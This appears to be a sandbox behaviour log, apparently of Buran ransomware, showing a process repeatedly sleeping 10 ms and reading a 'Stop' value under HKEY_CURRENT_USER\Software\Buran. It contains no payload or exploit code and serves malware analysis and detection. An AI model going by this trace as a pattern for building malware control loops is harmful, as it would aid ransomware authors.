System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
